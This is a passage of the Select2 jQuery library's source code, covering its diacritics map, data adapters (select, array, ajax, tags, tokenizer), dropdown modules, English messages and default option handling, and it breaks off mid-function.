'\u1EF9': 'y', '\u0233': 'y', '\u1E8F': 'y', '\u00FF': 'y', '\u1EF7': 'y', '\u1E99': 'y', '\u1EF5': 'y', '\u01B4': 'y', '\u024F': 'y', '\u1EFF': 'y', '\u24E9': 'z', '\uFF5A': 'z', '\u017A': 'z', '\u1E91': 'z', '\u017C': 'z', '\u017E': 'z', '\u1E93': 'z', '\u1E95': 'z', '\u01B6': 'z', '\u0225': 'z', '\u0240': 'z', '\u2C6C': 'z', '\uA763': 'z', '\u0386': '\u0391', '\u0388': '\u0395', '\u0389': '\u0397', '\u038A': '\u0399', '\u03AA': '\u0399', '\u038C': '\u039F', '\u038E': '\u03A5', '\u03AB': '\u03A5', '\u038F': '\u03A9', '\u03AC': '\u03B1', '\u03AD': '\u03B5', '\u03AE': '\u03B7', '\u03AF': '\u03B9', '\u03CA': '\u03B9', '\u0390': '\u03B9', '\u03CC': '\u03BF', '\u03CD': '\u03C5', '\u03CB': '\u03C5', '\u03B0': '\u03C5', '\u03C9': '\u03C9', '\u03C2': '\u03C3' }; return diacritics; }); S2.define('select2/data/base',[ '../utils' ], function (Utils) { function BaseAdapter ($element, options) { BaseAdapter.__super__.constructor.call(this); } Utils.Extend(BaseAdapter, Utils.Observable); BaseAdapter.prototype.current = function (callback) { throw new Error('The `current` method must be defined in child classes.'); }; BaseAdapter.prototype.query = function (params, callback) { throw new Error('The `query` method must be defined in child classes.'); }; BaseAdapter.prototype.bind = function (container, $container) { // Can be implemented in subclasses }; BaseAdapter.prototype.destroy = function () { // Can be implemented in subclasses }; BaseAdapter.prototype.generateResultId = function (container, data) { var id = container.id + '-result-'; id += Utils.generateChars(4); if (data.id != null) { id += '-' + data.id.toString(); } else { id += '-' + Utils.generateChars(4); } return id; }; return BaseAdapter; }); S2.define('select2/data/select',[ './base', '../utils', 'jquery' ], function (BaseAdapter, Utils, $) { function SelectAdapter ($element, options) { this.$element = $element; this.options = options; SelectAdapter.__super__.constructor.call(this); } Utils.Extend(SelectAdapter, BaseAdapter); SelectAdapter.prototype.current = function (callback) { var data = []; var self = this; this.$element.find(':selected').each(function () { var $option = $(this); var option = self.item($option); data.push(option); }); callback(data); }; SelectAdapter.prototype.select = function (data) { var self = this; data.selected = true; // If data.element is a DOM node, use it instead if ($(data.element).is('option')) { data.element.selected = true; this.$element.trigger('change'); return; } if (this.$element.prop('multiple')) { this.current(function (currentData) { var val = []; data = [data]; data.push.apply(data, currentData); for (var d = 0; d < data.length; d++) { var id = data[d].id; if ($.inArray(id, val) === -1) { val.push(id); } } self.$element.val(val); self.$element.trigger('change'); }); } else { var val = data.id; this.$element.val(val); this.$element.trigger('change'); } }; SelectAdapter.prototype.unselect = function (data) { var self = this; if (!this.$element.prop('multiple')) { return; } data.selected = false; if ($(data.element).is('option')) { data.element.selected = false; this.$element.trigger('change'); return; } this.current(function (currentData) { var val = []; for (var d = 0; d < currentData.length; d++) { var id = currentData[d].id; if (id !== data.id && $.inArray(id, val) === -1) { val.push(id); } } self.$element.val(val); self.$element.trigger('change'); }); }; SelectAdapter.prototype.bind = function (container, $container) { var self = this; this.container = container; container.on('select', function (params) { self.select(params.data); }); container.on('unselect', function (params) { self.unselect(params.data); }); }; SelectAdapter.prototype.destroy = function () { // Remove anything added to child elements this.$element.find('*').each(function () { // Remove any custom data set by Select2 Utils.RemoveData(this); }); }; SelectAdapter.prototype.query = function (params, callback) { var data = []; var self = this; var $options = this.$element.children(); $options.each(function () { var $option = $(this); if (!$option.is('option') && !$option.is('optgroup')) { return; } var option = self.item($option); var matches = self.matches(params, option); if (matches !== null) { data.push(matches); } }); callback({ results: data }); }; SelectAdapter.prototype.addOptions = function ($options) { Utils.appendMany(this.$element, $options); }; SelectAdapter.prototype.option = function (data) { var option; if (data.children) { option = document.createElement('optgroup'); option.label = data.text; } else { option = document.createElement('option'); if (option.textContent !== undefined) { option.textContent = data.text; } else { option.innerText = data.text; } } if (data.id !== undefined) { option.value = data.id; } if (data.disabled) { option.disabled = true; } if (data.selected) { option.selected = true; } if (data.title) { option.title = data.title; } var $option = $(option); var normalizedData = this._normalizeItem(data); normalizedData.element = option; // Override the option's data with the combined data Utils.StoreData(option, 'data', normalizedData); return $option; }; SelectAdapter.prototype.item = function ($option) { var data = {}; data = Utils.GetData($option[0], 'data'); if (data != null) { return data; } if ($option.is('option')) { data = { id: $option.val(), text: $option.text(), disabled: $option.prop('disabled'), selected: $option.prop('selected'), title: $option.prop('title') }; } else if ($option.is('optgroup')) { data = { text: $option.prop('label'), children: [], title: $option.prop('title') }; var $children = $option.children('option'); var children = []; for (var c = 0; c < $children.length; c++) { var $child = $($children[c]); var child = this.item($child); children.push(child); } data.children = children; } data = this._normalizeItem(data); data.element = $option[0]; Utils.StoreData($option[0], 'data', data); return data; }; SelectAdapter.prototype._normalizeItem = function (item) { if (item !== Object(item)) { item = { id: item, text: item }; } item = $.extend({}, { text: '' }, item); var defaults = { selected: false, disabled: false }; if (item.id != null) { item.id = item.id.toString(); } if (item.text != null) { item.text = item.text.toString(); } if (item._resultId == null && item.id && this.container != null) { item._resultId = this.generateResultId(this.container, item); } return $.extend({}, defaults, item); }; SelectAdapter.prototype.matches = function (params, data) { var matcher = this.options.get('matcher'); return matcher(params, data); }; return SelectAdapter; }); S2.define('select2/data/array',[ './select', '../utils', 'jquery' ], function (SelectAdapter, Utils, $) { function ArrayAdapter ($element, options) { var data = options.get('data') || []; ArrayAdapter.__super__.constructor.call(this, $element, options); this.addOptions(this.convertToOptions(data)); } Utils.Extend(ArrayAdapter, SelectAdapter); ArrayAdapter.prototype.select = function (data) { var $option = this.$element.find('option').filter(function (i, elm) { return elm.value == data.id.toString(); }); if ($option.length === 0) { $option = this.option(data); this.addOptions($option); } ArrayAdapter.__super__.select.call(this, data); }; ArrayAdapter.prototype.convertToOptions = function (data) { var self = this; var $existing = this.$element.find('option'); var existingIds = $existing.map(function () { return self.item($(this)).id; }).get(); var $options = []; // Filter out all items except for the one passed in the argument function onlyItem (item) { return function () { return $(this).val() == item.id; }; } for (var d = 0; d < data.length; d++) { var item = this._normalizeItem(data[d]); // Skip items which were pre-loaded, only merge the data if ($.inArray(item.id, existingIds) >= 0) { var $existingOption = $existing.filter(onlyItem(item)); var existingData = this.item($existingOption); var newData = $.extend(true, {}, item, existingData); var $newOption = this.option(newData); $existingOption.replaceWith($newOption); continue; } var $option = this.option(item); if (item.children) { var $children = this.convertToOptions(item.children); Utils.appendMany($option, $children); } $options.push($option); } return $options; }; return ArrayAdapter; }); S2.define('select2/data/ajax',[ './array', '../utils', 'jquery' ], function (ArrayAdapter, Utils, $) { function AjaxAdapter ($element, options) { this.ajaxOptions = this._applyDefaults(options.get('ajax')); if (this.ajaxOptions.processResults != null) { this.processResults = this.ajaxOptions.processResults; } AjaxAdapter.__super__.constructor.call(this, $element, options); } Utils.Extend(AjaxAdapter, ArrayAdapter); AjaxAdapter.prototype._applyDefaults = function (options) { var defaults = { data: function (params) { return $.extend({}, params, { q: params.term }); }, transport: function (params, success, failure) { var $request = $.ajax(params); $request.then(success); $request.fail(failure); return $request; } }; return $.extend({}, defaults, options, true); }; AjaxAdapter.prototype.processResults = function (results) { return results; }; AjaxAdapter.prototype.query = function (params, callback) { var matches = []; var self = this; if (this._request != null) { // JSONP requests cannot always be aborted if ($.isFunction(this._request.abort)) { this._request.abort(); } this._request = null; } var options = $.extend({ type: 'GET' }, this.ajaxOptions); if (typeof options.url === 'function') { options.url = options.url.call(this.$element, params); } if (typeof options.data === 'function') { options.data = options.data.call(this.$element, params); } function request () { var $request = options.transport(options, function (data) { var results = self.processResults(data, params); if (self.options.get('debug') && window.console && console.error) { // Check to make sure that the response included a `results` key. if (!results || !results.results || !$.isArray(results.results)) { console.error( 'Select2: The AJAX results did not return an array in the ' + '`results` key of the response.' ); } } callback(results); }, function () { // Attempt to detect if a request was aborted // Only works if the transport exposes a status property if ('status' in $request && ($request.status === 0 || $request.status === '0')) { return; } self.trigger('results:message', { message: 'errorLoading' }); }); self._request = $request; } if (this.ajaxOptions.delay && params.term != null) { if (this._queryTimeout) { window.clearTimeout(this._queryTimeout); } this._queryTimeout = window.setTimeout(request, this.ajaxOptions.delay); } else { request(); } }; return AjaxAdapter; }); S2.define('select2/data/tags',[ 'jquery' ], function ($) { function Tags (decorated, $element, options) { var tags = options.get('tags'); var createTag = options.get('createTag'); if (createTag !== undefined) { this.createTag = createTag; } var insertTag = options.get('insertTag'); if (insertTag !== undefined) { this.insertTag = insertTag; } decorated.call(this, $element, options); if ($.isArray(tags)) { for (var t = 0; t < tags.length; t++) { var tag = tags[t]; var item = this._normalizeItem(tag); var $option = this.option(item); this.$element.append($option); } } } Tags.prototype.query = function (decorated, params, callback) { var self = this; this._removeOldTags(); if (params.term == null || params.page != null) { decorated.call(this, params, callback); return; } function wrapper (obj, child) { var data = obj.results; for (var i = 0; i < data.length; i++) { var option = data[i]; var checkChildren = ( option.children != null && !wrapper({ results: option.children }, true) ); var optionText = (option.text || '').toUpperCase(); var paramsTerm = (params.term || '').toUpperCase(); var checkText = optionText === paramsTerm; if (checkText || checkChildren) { if (child) { return false; } obj.data = data; callback(obj); return; } } if (child) { return true; } var tag = self.createTag(params); if (tag != null) { var $option = self.option(tag); $option.attr('data-select2-tag', true); self.addOptions([$option]); self.insertTag(data, tag); } obj.results = data; callback(obj); } decorated.call(this, params, wrapper); }; Tags.prototype.createTag = function (decorated, params) { var term = $.trim(params.term); if (term === '') { return null; } return { id: term, text: term }; }; Tags.prototype.insertTag = function (_, data, tag) { data.unshift(tag); }; Tags.prototype._removeOldTags = function (_) { var tag = this._lastTag; var $options = this.$element.find('option[data-select2-tag]'); $options.each(function () { if (this.selected) { return; } $(this).remove(); }); }; return Tags; }); S2.define('select2/data/tokenizer',[ 'jquery' ], function ($) { function Tokenizer (decorated, $element, options) { var tokenizer = options.get('tokenizer'); if (tokenizer !== undefined) { this.tokenizer = tokenizer; } decorated.call(this, $element, options); } Tokenizer.prototype.bind = function (decorated, container, $container) { decorated.call(this, container, $container); this.$search = container.dropdown.$search || container.selection.$search || $container.find('.select2-search__field'); }; Tokenizer.prototype.query = function (decorated, params, callback) { var self = this; function createAndSelect (data) { // Normalize the data object so we can use it for checks var item = self._normalizeItem(data); // Check if the data object already exists as a tag // Select it if it doesn't var $existingOptions = self.$element.find('option').filter(function () { return $(this).val() === item.id; }); // If an existing option wasn't found for it, create the option if (!$existingOptions.length) { var $option = self.option(item); $option.attr('data-select2-tag', true); self._removeOldTags(); self.addOptions([$option]); } // Select the item, now that we know there is an option for it select(item); } function select (data) { self.trigger('select', { data: data }); } params.term = params.term || ''; var tokenData = this.tokenizer(params, this.options, createAndSelect); if (tokenData.term !== params.term) { // Replace the search term if we have the search box if (this.$search.length) { this.$search.val(tokenData.term); this.$search.focus(); } params.term = tokenData.term; } decorated.call(this, params, callback); }; Tokenizer.prototype.tokenizer = function (_, params, options, callback) { var separators = options.get('tokenSeparators') || []; var term = params.term; var i = 0; var createTag = this.createTag || function (params) { return { id: params.term, text: params.term }; }; while (i < term.length) { var termChar = term[i]; if ($.inArray(termChar, separators) === -1) { i++; continue; } var part = term.substr(0, i); var partParams = $.extend({}, params, { term: part }); var data = createTag(partParams); if (data == null) { i++; continue; } callback(data); // Reset the term to not include the tokenized portion term = term.substr(i + 1) || ''; i = 0; } return { term: term }; }; return Tokenizer; }); S2.define('select2/data/minimumInputLength',[ ], function () { function MinimumInputLength (decorated, $e, options) { this.minimumInputLength = options.get('minimumInputLength'); decorated.call(this, $e, options); } MinimumInputLength.prototype.query = function (decorated, params, callback) { params.term = params.term || ''; if (params.term.length < this.minimumInputLength) { this.trigger('results:message', { message: 'inputTooShort', args: { minimum: this.minimumInputLength, input: params.term, params: params } }); return; } decorated.call(this, params, callback); }; return MinimumInputLength; }); S2.define('select2/data/maximumInputLength',[ ], function () { function MaximumInputLength (decorated, $e, options) { this.maximumInputLength = options.get('maximumInputLength'); decorated.call(this, $e, options); } MaximumInputLength.prototype.query = function (decorated, params, callback) { params.term = params.term || ''; if (this.maximumInputLength > 0 && params.term.length > this.maximumInputLength) { this.trigger('results:message', { message: 'inputTooLong', args: { maximum: this.maximumInputLength, input: params.term, params: params } }); return; } decorated.call(this, params, callback); }; return MaximumInputLength; }); S2.define('select2/data/maximumSelectionLength',[ ], function (){ function MaximumSelectionLength (decorated, $e, options) { this.maximumSelectionLength = options.get('maximumSelectionLength'); decorated.call(this, $e, options); } MaximumSelectionLength.prototype.query = function (decorated, params, callback) { var self = this; this.current(function (currentData) { var count = currentData != null ? currentData.length : 0; if (self.maximumSelectionLength > 0 && count >= self.maximumSelectionLength) { self.trigger('results:message', { message: 'maximumSelected', args: { maximum: self.maximumSelectionLength } }); return; } decorated.call(self, params, callback); }); }; return MaximumSelectionLength; }); S2.define('select2/dropdown',[ 'jquery', './utils' ], function ($, Utils) { function Dropdown ($element, options) { this.$element = $element; this.options = options; Dropdown.__super__.constructor.call(this); } Utils.Extend(Dropdown, Utils.Observable); Dropdown.prototype.render = function () { var $dropdown = $( '<span class="select2-dropdown">' + '<span class="select2-results"></span>' + '</span>' ); $dropdown.attr('dir', this.options.get('dir')); this.$dropdown = $dropdown; return $dropdown; }; Dropdown.prototype.bind = function () { // Should be implemented in subclasses }; Dropdown.prototype.position = function ($dropdown, $container) { // Should be implmented in subclasses }; Dropdown.prototype.destroy = function () { // Remove the dropdown from the DOM this.$dropdown.remove(); }; return Dropdown; }); S2.define('select2/dropdown/search',[ 'jquery', '../utils' ], function ($, Utils) { function Search () { } Search.prototype.render = function (decorated) { var $rendered = decorated.call(this); var $search = $( '<span class="select2-search select2-search--dropdown">' + '<input class="select2-search__field" type="search" tabindex="-1"' + ' autocomplete="off" autocorrect="off" autocapitalize="none"' + ' spellcheck="false" role="textbox" />' + '</span>' ); this.$searchContainer = $search; this.$search = $search.find('input'); $rendered.prepend($search); return $rendered; }; Search.prototype.bind = function (decorated, container, $container) { var self = this; decorated.call(this, container, $container); this.$search.on('keydown', function (evt) { self.trigger('keypress', evt); self._keyUpPrevented = evt.isDefaultPrevented(); }); // Workaround for browsers which do not support the `input` event // This will prevent double-triggering of events for browsers which support // both the `keyup` and `input` events. this.$search.on('input', function (evt) { // Unbind the duplicated `keyup` event $(this).off('keyup'); }); this.$search.on('keyup input', function (evt) { self.handleSearch(evt); }); container.on('open', function () { self.$search.attr('tabindex', 0); self.$search.focus(); window.setTimeout(function () { self.$search.focus(); }, 0); }); container.on('close', function () { self.$search.attr('tabindex', -1); self.$search.val(''); self.$search.blur(); }); container.on('focus', function () { if (!container.isOpen()) { self.$search.focus(); } }); container.on('results:all', function (params) { if (params.query.term == null || params.query.term === '') { var showSearch = self.showSearch(params); if (showSearch) { self.$searchContainer.removeClass('select2-search--hide'); } else { self.$searchContainer.addClass('select2-search--hide'); } } }); }; Search.prototype.handleSearch = function (evt) { if (!this._keyUpPrevented) { var input = this.$search.val(); this.trigger('query', { term: input }); } this._keyUpPrevented = false; }; Search.prototype.showSearch = function (_, params) { return true; }; return Search; }); S2.define('select2/dropdown/hidePlaceholder',[ ], function () { function HidePlaceholder (decorated, $element, options, dataAdapter) { this.placeholder = this.normalizePlaceholder(options.get('placeholder')); decorated.call(this, $element, options, dataAdapter); } HidePlaceholder.prototype.append = function (decorated, data) { data.results = this.removePlaceholder(data.results); decorated.call(this, data); }; HidePlaceholder.prototype.normalizePlaceholder = function (_, placeholder) { if (typeof placeholder === 'string') { placeholder = { id: '', text: placeholder }; } return placeholder; }; HidePlaceholder.prototype.removePlaceholder = function (_, data) { var modifiedData = data.slice(0); for (var d = data.length - 1; d >= 0; d--) { var item = data[d]; if (this.placeholder.id === item.id) { modifiedData.splice(d, 1); } } return modifiedData; }; return HidePlaceholder; }); S2.define('select2/dropdown/infiniteScroll',[ 'jquery' ], function ($) { function InfiniteScroll (decorated, $element, options, dataAdapter) { this.lastParams = {}; decorated.call(this, $element, options, dataAdapter); this.$loadingMore = this.createLoadingMore(); this.loading = false; } InfiniteScroll.prototype.append = function (decorated, data) { this.$loadingMore.remove(); this.loading = false; decorated.call(this, data); if (this.showLoadingMore(data)) { this.$results.append(this.$loadingMore); } }; InfiniteScroll.prototype.bind = function (decorated, container, $container) { var self = this; decorated.call(this, container, $container); container.on('query', function (params) { self.lastParams = params; self.loading = true; }); container.on('query:append', function (params) { self.lastParams = params; self.loading = true; }); this.$results.on('scroll', function () { var isLoadMoreVisible = $.contains( document.documentElement, self.$loadingMore[0] ); if (self.loading || !isLoadMoreVisible) { return; } var currentOffset = self.$results.offset().top + self.$results.outerHeight(false); var loadingMoreOffset = self.$loadingMore.offset().top + self.$loadingMore.outerHeight(false); if (currentOffset + 50 >= loadingMoreOffset) { self.loadMore(); } }); }; InfiniteScroll.prototype.loadMore = function () { this.loading = true; var params = $.extend({}, {page: 1}, this.lastParams); params.page++; this.trigger('query:append', params); }; InfiniteScroll.prototype.showLoadingMore = function (_, data) { return data.pagination && data.pagination.more; }; InfiniteScroll.prototype.createLoadingMore = function () { var $option = $( '<li ' + 'class="select2-results__option select2-results__option--load-more"' + 'role="treeitem" aria-disabled="true"></li>' ); var message = this.options.get('translations').get('loadingMore'); $option.html(message(this.lastParams)); return $option; }; return InfiniteScroll; }); S2.define('select2/dropdown/attachBody',[ 'jquery', '../utils' ], function ($, Utils) { function AttachBody (decorated, $element, options) { this.$dropdownParent = options.get('dropdownParent') || $(document.body); decorated.call(this, $element, options); } AttachBody.prototype.bind = function (decorated, container, $container) { var self = this; var setupResultsEvents = false; decorated.call(this, container, $container); container.on('open', function () { self._showDropdown(); self._attachPositioningHandler(container); if (!setupResultsEvents) { setupResultsEvents = true; container.on('results:all', function () { self._positionDropdown(); self._resizeDropdown(); }); container.on('results:append', function () { self._positionDropdown(); self._resizeDropdown(); }); } }); container.on('close', function () { self._hideDropdown(); self._detachPositioningHandler(container); }); this.$dropdownContainer.on('mousedown', function (evt) { evt.stopPropagation(); }); }; AttachBody.prototype.destroy = function (decorated) { decorated.call(this); this.$dropdownContainer.remove(); }; AttachBody.prototype.position = function (decorated, $dropdown, $container) { // Clone all of the container classes $dropdown.attr('class', $container.attr('class')); $dropdown.removeClass('select2'); $dropdown.addClass('select2-container--open'); $dropdown.css({ position: 'absolute', top: -999999 }); this.$container = $container; }; AttachBody.prototype.render = function (decorated) { var $container = $('<span></span>'); var $dropdown = decorated.call(this); $container.append($dropdown); this.$dropdownContainer = $container; return $container; }; AttachBody.prototype._hideDropdown = function (decorated) { this.$dropdownContainer.detach(); }; AttachBody.prototype._attachPositioningHandler = function (decorated, container) { var self = this; var scrollEvent = 'scroll.select2.' + container.id; var resizeEvent = 'resize.select2.' + container.id; var orientationEvent = 'orientationchange.select2.' + container.id; var $watchers = this.$container.parents().filter(Utils.hasScroll); $watchers.each(function () { Utils.StoreData(this, 'select2-scroll-position', { x: $(this).scrollLeft(), y: $(this).scrollTop() }); }); $watchers.on(scrollEvent, function (ev) { var position = Utils.GetData(this, 'select2-scroll-position'); $(this).scrollTop(position.y); }); $(window).on(scrollEvent + ' ' + resizeEvent + ' ' + orientationEvent, function (e) { self._positionDropdown(); self._resizeDropdown(); }); }; AttachBody.prototype._detachPositioningHandler = function (decorated, container) { var scrollEvent = 'scroll.select2.' + container.id; var resizeEvent = 'resize.select2.' + container.id; var orientationEvent = 'orientationchange.select2.' + container.id; var $watchers = this.$container.parents().filter(Utils.hasScroll); $watchers.off(scrollEvent); $(window).off(scrollEvent + ' ' + resizeEvent + ' ' + orientationEvent); }; AttachBody.prototype._positionDropdown = function () { var $window = $(window); var isCurrentlyAbove = this.$dropdown.hasClass('select2-dropdown--above'); var isCurrentlyBelow = this.$dropdown.hasClass('select2-dropdown--below'); var newDirection = null; var offset = this.$container.offset(); offset.bottom = offset.top + this.$container.outerHeight(false); var container = { height: this.$container.outerHeight(false) }; container.top = offset.top; container.bottom = offset.top + container.height; var dropdown = { height: this.$dropdown.outerHeight(false) }; var viewport = { top: $window.scrollTop(), bottom: $window.scrollTop() + $window.height() }; var enoughRoomAbove = viewport.top < (offset.top - dropdown.height); var enoughRoomBelow = viewport.bottom > (offset.bottom + dropdown.height); var css = { left: offset.left, top: container.bottom }; // Determine what the parent element is to use for calciulating the offset var $offsetParent = this.$dropdownParent; // For statically positoned elements, we need to get the element // that is determining the offset if ($offsetParent.css('position') === 'static') { $offsetParent = $offsetParent.offsetParent(); } var parentOffset = $offsetParent.offset(); css.top -= parentOffset.top; css.left -= parentOffset.left; if (!isCurrentlyAbove && !isCurrentlyBelow) { newDirection = 'below'; } if (!enoughRoomBelow && enoughRoomAbove && !isCurrentlyAbove) { newDirection = 'above'; } else if (!enoughRoomAbove && enoughRoomBelow && isCurrentlyAbove) { newDirection = 'below'; } if (newDirection == 'above' || (isCurrentlyAbove && newDirection !== 'below')) { css.top = container.top - parentOffset.top - dropdown.height; } if (newDirection != null) { this.$dropdown .removeClass('select2-dropdown--below select2-dropdown--above') .addClass('select2-dropdown--' + newDirection); this.$container .removeClass('select2-container--below select2-container--above') .addClass('select2-container--' + newDirection); } this.$dropdownContainer.css(css); }; AttachBody.prototype._resizeDropdown = function () { var css = { width: this.$container.outerWidth(false) + 'px' }; if (this.options.get('dropdownAutoWidth')) { css.minWidth = css.width; css.position = 'relative'; css.width = 'auto'; } this.$dropdown.css(css); }; AttachBody.prototype._showDropdown = function (decorated) { this.$dropdownContainer.appendTo(this.$dropdownParent); this._positionDropdown(); this._resizeDropdown(); }; return AttachBody; }); S2.define('select2/dropdown/minimumResultsForSearch',[ ], function () { function countResults (data) { var count = 0; for (var d = 0; d < data.length; d++) { var item = data[d]; if (item.children) { count += countResults(item.children); } else { count++; } } return count; } function MinimumResultsForSearch (decorated, $element, options, dataAdapter) { this.minimumResultsForSearch = options.get('minimumResultsForSearch'); if (this.minimumResultsForSearch < 0) { this.minimumResultsForSearch = Infinity; } decorated.call(this, $element, options, dataAdapter); } MinimumResultsForSearch.prototype.showSearch = function (decorated, params) { if (countResults(params.data.results) < this.minimumResultsForSearch) { return false; } return decorated.call(this, params); }; return MinimumResultsForSearch; }); S2.define('select2/dropdown/selectOnClose',[ '../utils' ], function (Utils) { function SelectOnClose () { } SelectOnClose.prototype.bind = function (decorated, container, $container) { var self = this; decorated.call(this, container, $container); container.on('close', function (params) { self._handleSelectOnClose(params); }); }; SelectOnClose.prototype._handleSelectOnClose = function (_, params) { if (params && params.originalSelect2Event != null) { var event = params.originalSelect2Event; // Don't select an item if the close event was triggered from a select or // unselect event if (event._type === 'select' || event._type === 'unselect') { return; } } var $highlightedResults = this.getHighlightedResults(); // Only select highlighted results if ($highlightedResults.length < 1) { return; } var data = Utils.GetData($highlightedResults[0], 'data'); // Don't re-select already selected resulte if ( (data.element != null && data.element.selected) || (data.element == null && data.selected) ) { return; } this.trigger('select', { data: data }); }; return SelectOnClose; }); S2.define('select2/dropdown/closeOnSelect',[ ], function () { function CloseOnSelect () { } CloseOnSelect.prototype.bind = function (decorated, container, $container) { var self = this; decorated.call(this, container, $container); container.on('select', function (evt) { self._selectTriggered(evt); }); container.on('unselect', function (evt) { self._selectTriggered(evt); }); }; CloseOnSelect.prototype._selectTriggered = function (_, evt) { var originalEvent = evt.originalEvent; // Don't close if the control key is being held if (originalEvent && originalEvent.ctrlKey) { return; } this.trigger('close', { originalEvent: originalEvent, originalSelect2Event: evt }); }; return CloseOnSelect; }); S2.define('select2/i18n/en',[],function () { // English return { errorLoading: function () { return 'The results could not be loaded.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Please delete ' + overChars + ' character'; if (overChars != 1) { message += 's'; } return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Please enter ' + remainingChars + ' or more characters'; return message; }, loadingMore: function () { return 'Loading more results…'; }, maximumSelected: function (args) { var message = 'You can only select ' + args.maximum + ' item'; if (args.maximum != 1) { message += 's'; } return message; }, noResults: function () { return 'No results found'; }, searching: function () { return 'Searching…'; } }; }); S2.define('select2/defaults',[ 'jquery', 'require', './results', './selection/single', './selection/multiple', './selection/placeholder', './selection/allowClear', './selection/search', './selection/eventRelay', './utils', './translation', './diacritics', './data/select', './data/array', './data/ajax', './data/tags', './data/tokenizer', './data/minimumInputLength', './data/maximumInputLength', './data/maximumSelectionLength', './dropdown', './dropdown/search', './dropdown/hidePlaceholder', './dropdown/infiniteScroll', './dropdown/attachBody', './dropdown/minimumResultsForSearch', './dropdown/selectOnClose', './dropdown/closeOnSelect', './i18n/en' ], function ($, require, ResultsList, SingleSelection, MultipleSelection, Placeholder, AllowClear, SelectionSearch, EventRelay, Utils, Translation, DIACRITICS, SelectData, ArrayData, AjaxData, Tags, Tokenizer, MinimumInputLength, MaximumInputLength, MaximumSelectionLength, Dropdown, DropdownSearch, HidePlaceholder, InfiniteScroll, AttachBody, MinimumResultsForSearch, SelectOnClose, CloseOnSelect, EnglishTranslation) { function Defaults () { this.reset(); } Defaults.prototype.apply = function (options) { options = $.extend(true, {}, this.defaults, options); if (options.dataAdapter == null) { if (options.ajax != null) { options.dataAdapter = AjaxData; } else if (options.data != null) { options.dataAdapter = ArrayData; } else { options.dataAdapter = SelectData; } if (options.minimumInputLength > 0) { options.dataAdapter = Utils.Decorate( options.dataAdapter, MinimumInputLength ); } if (options.maximumInputLength > 0) { options.dataAdapter = Utils.Decorate( options.dataAdapter, MaximumInputLength ); } if (options.maximumSelectionLength > 0) { options.dataAdapter = Utils.Decorate( options.dataAdapter, MaximumSelectionLength ); } if (options.tags) { options.dataAdapter = Utils.Decorate(options.dataAdapter, Tags); } if (options.tokenSeparators != null || options.tokenizer != null) { options.dataAdapter = Utils.Decorate( options.dataAdapter, Tokenizer ); } if (options.query != null) { var Query = require(options.amdBase + 'compat/query'); options.dataAdapter = Utils.Decorate( options.dataAdapter, Query ); } if (options.initSelection != null) { var InitSelection = require(options.amdBase + 'compat/initSelection'); options.dataAdapter = Utils.Decorate( options.dataAdapter, InitSelection ); } } if (options.resultsAdapter == null) { options.resultsAdapter = ResultsList; if (options.ajax != null) { options.resultsAdapter = Utils.Decorate( options.resultsAdapter, InfiniteScroll ); } if (options.placeholder != null) { options.resultsAdapter = Utils.Decorate( options.resultsAdapter, HidePlaceholder ); } if (options.selectOnClose) { options.resultsAdapter = Utils.Decorate( options.resultsAdapter, SelectOnClose ); } } if (options.dropdownAdapter == null) { if (options.multiple) { options.dropdownAdapter = Dropdown; } else { var SearchableDropdown = Utils.Decorate(Dropdown, DropdownSearch); options.dropdownAdapter = SearchableDropdown; } if (options.minimumResultsForSearch !== 0) { options.dropdownAdapter = Utils.Decorate( options.dropdownAdapter, MinimumResultsForSearch ); } if (options.closeOnSelect) { options.dropdownAdapter = Utils.Decorate( options.dropdownAdapter, CloseOnSelect ); } if ( options.dropdownCssClass != null || options.dropdownCss != null || options.adaptDropdownCssClass != null ) { var DropdownCSS = require(options.amdBase + 'compat/dropdownCss'); options.dropdownAdapter = Utils.Decorate( options.dropdownAdapter, DropdownCSS ); } options.dropdownAdapter = Utils.Decorate( options.dropdownAdapter, AttachBody ); } if (options.selectionAdapter == null) { if (options.multiple) { options.selectionAdapter = MultipleSelection; } else { options.selectionAdapter = SingleSelection; } // Add the placeholder mixin if a placeholder was specified if (options.placeholder != null) { options.selectionAdapter = Utils.Decorate( options.selectionAdapter, Placeholder ); } if (options.allowClear) { options.selectionAdapter = Utils.Decorate( options.selectionAdapter, AllowClear ); } if (options.multiple) { options.selectionAdapter = Utils.Decorate( options.selectionAdapter, SelectionSearch ); } if ( options.containerCssClass != null || options.containerCss != null || options.adaptContainerCssClass != null ) { var ContainerCSS = require(options.amdBase + 'compat/containerCss'); options.selectionAdapter = Utils.Decorate( options.selectionAdapter, ContainerCSS ); } options.selectionAdapter = Utils.Decorate( options.selectionAdapter, EventRelay ); } if (typeof options.language === 'string') { // Check if the language is specified with a region if (options.language.indexOf('-') > 0) { // Extract the region information if it is included var languageParts = options.language.split('-'); var baseLanguage = languageParts[0]; options.language = [options.language, baseLanguage]; } else { options.language = [options.language]; } } if ($.isArray(options.language)) { var languages = new Translation(); options.language.push('en'); var languageNames = options.language; for (var l = 0; l < languageNames.length; l++) { var name = languageNames[l]; var language = {}; try { // Try to load it with the original name language = Translation.loadPath(name); } catch (e) { try { // If we couldn't load it, check if it wasn't the full path name = this.defaults.amdLanguageBase + name; language = Translation.loadPath(name); } catch (ex) { // The translation could not be loaded at all. Sometimes this is // because of a configuration problem, other times this can be // because of how Select2 helps load all possible translation files. if (options.debug && window.console && console.warn) { console.warn( 'Select2: The language file for "' + name + '" could not be ' + 'automatically loaded. A fallback will be used instead.' ); } continue; } } languages.extend(language); } options.translations = languages; } else { var baseTranslation = Translation.loadPath( this.defaults.amdLanguageBase + 'en' ); var customTranslation = new Translation(options.language); customTranslation.extend(baseTranslation); options.translations = customTranslation; } return options; }; Defaults.prototype.reset = function () { function stripDiacritics (text) { // Used 'uni range + named function' from http://jsperf.com/diacritics/18 function match(a) { return DIACRITICS[a] || a; } return text.replace(/[^\u0000-\u007E]/g, match); } function matcher (params, data) { // Always return the object if there is nothing to compare if ($.trim(params.term) === '') { return data; } // Do a recursive check for options with children if (data.children && data.children.length > 0) { // Clone the data object if there are children // This is required as we modify the object to remove any non-matches var match = $.extend(true, {}, data); // Check each child of the option for (var c = data.children.length - 1; c >= 0; c--) { var child = data.children[c]; var matches = matcher(params, child); // If there wasn't a match, remove the object in the array if (matches == null) { match.children.splice(c, 1); } } // If any children matched, return the new object if (match.children.length > 0) { return match; } // If there were no matching children, check just the plain object return matcher(params, match); } var original = stripDiacritics(data.text).toUpperCase(); var term = stripDiacritics(params.term).toUpperCase(); // Check if the text 